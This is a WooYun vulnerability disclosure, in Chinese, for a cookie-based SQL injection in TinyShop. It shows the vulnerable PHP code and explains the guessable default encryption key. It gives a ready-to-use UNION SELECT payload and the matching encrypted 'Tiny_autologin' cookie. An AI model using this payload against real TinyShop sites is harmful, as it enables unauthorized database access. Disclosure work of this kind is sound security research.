当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-075082

漏洞标题:tinyshop cookie注入

相关厂商:tinyrise.com

漏洞作者: 路人甲

提交时间:2014-09-09 12:33

修复时间:2014-12-05 12:34

公开时间:2014-12-05 12:34

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-09-09: 细节已通知厂商并且等待厂商处理中
2014-09-14: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
2014-11-08: 细节向核心白帽子及相关领域专家公开
2014-11-18: 细节向普通白帽子公开
2014-11-28: 细节向实习白帽子公开
2014-12-05: 细节向公众公开

简要描述:

cookie没有过滤导致sql注入

详细说明:

首先看cookie的加密:

///加解密算法
private static function code($string, $op="decode", $key='', $expiry=0)
///加密算法调用:
$value = Crypt::encode($value,self::getSafeCode());
///解密算法的调用:
$cookie= Crypt::decode($cryptCookie,self::getSafeCode());


这里的关键就是self::getSafeCode()

public static function getSafeCode()
{
if(self::$safeCode == '')self::setSafeCode();
return self::$safeCode;
}
public static function setSafeCode($scode='')
{
self::$safeCode = $scode.self::cookieId();
}
private static function cookieId()
{
if(self::$safeLave==0)return 1;
if(self::$safeLave==1) return md5(Chips::getIP());
if(self::$safeLave==2) return md5(Chips::getIP().$_SERVER["HTTP_USER_AGENT"]);
}


这就说明 整个cookie的加密秘钥无非是三种情况,而且这三种都是用户可以获取的。而且默认就是第一种方式,也就是key=1.
在来看方法:(classes/common.php)

//自动登录时的用户信息
static function autoLoginUserInfo()
{
$cookie = new Cookie();
$cookie->setSafeCode(Tiny::app()->getSafeCode());
$autologin = $cookie->get('autologin');
$obj = null;
if($autologin!=null){
$email = $autologin['email'];
$password = $autologin['password'];
$model = new Model("user as us");
$obj = $model->join("left join customer as cu on us.id = cu.user_id")->fields("us.*,cu.group_id,cu.login_time")->where("us.email='$email'")->find();
if($obj['password'] != $password){
$obj = null;
}
}
return $obj;
}


这里获取了autologin 这个cookie值,再来看获取方式:

public static function get($name)
{
if(self::checkSafe()==1)
{
if(isset($_COOKIE[self::$per.$name]))
{
$cryptCookie = $_COOKIE[self::$per.$name];
$cookie= Crypt::decode($cryptCookie,self::getSafeCode());
$tem = substr($cookie,0,10);
if(preg_match('/^[Oa]:\d+:.*/',$tem)) $cookie = unserialize($cookie);
return $cookie;
}
return null;
}
if(self::checkSafe()==0) self::clear($name);// Tiny::msg('非法窃取COOKIE,系统将终止工作!',0);
else return null;
}


在这里看到cookie只是在解密后做了一次反序列换转换,这就导致了直接被带入到了后端的sql语句中。
这里以默认的$key=1作为poc例子:
注入的sql语句片段式: ' union select 1,user(),1,1,1,1,1,1,1#
序列化后加密得到密文:bfc8bbdb4aOTkwMDQwMDMxMzkxNGY/MDRkZDBhZjIzPGE4MWA0NzVhOjE9e3EyNTgibW1gbGwiOXI8MzE6KyMgdW5pbm4gc2VtZWN9IjgpdXpley0hLDEuNyoxJTcuMikxKjEjKzt3Ojg6J3lkcHV/bHNkIjtzODE6IjAmOH0
设置cookie:
safecode=1,
Tiny_autologin=bfc8bbdb4aOTkwMDQwMDMxMzkxNGY/MDRkZDBhZjIzPGE4MWA0NzVhOjE9e3EyNTgibW1gbGwiOXI8MzE6KyMgdW5pbm4gc2VtZWN9IjgpdXpley0hLDEuNyoxJTcuMikxKjEjKzt3Ojg6J3lkcHV/bHNkIjtzODE6IjAmOH0
然后访问首页即可看到用户名

BaiduHi_2014-9-4_21-28-16.png

BaiduHi_2014-9-4_21-28-24.png

BaiduHi_2014-9-4_21-28-47.png


漏洞证明:

BaiduHi_2014-9-4_21-28-16.png

BaiduHi_2014-9-4_21-28-24.png

BaiduHi_2014-9-4_21-28-47.png

修复方案:

你们比我专业

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2014-12-05 12:34

厂商回复:

最新状态:

暂无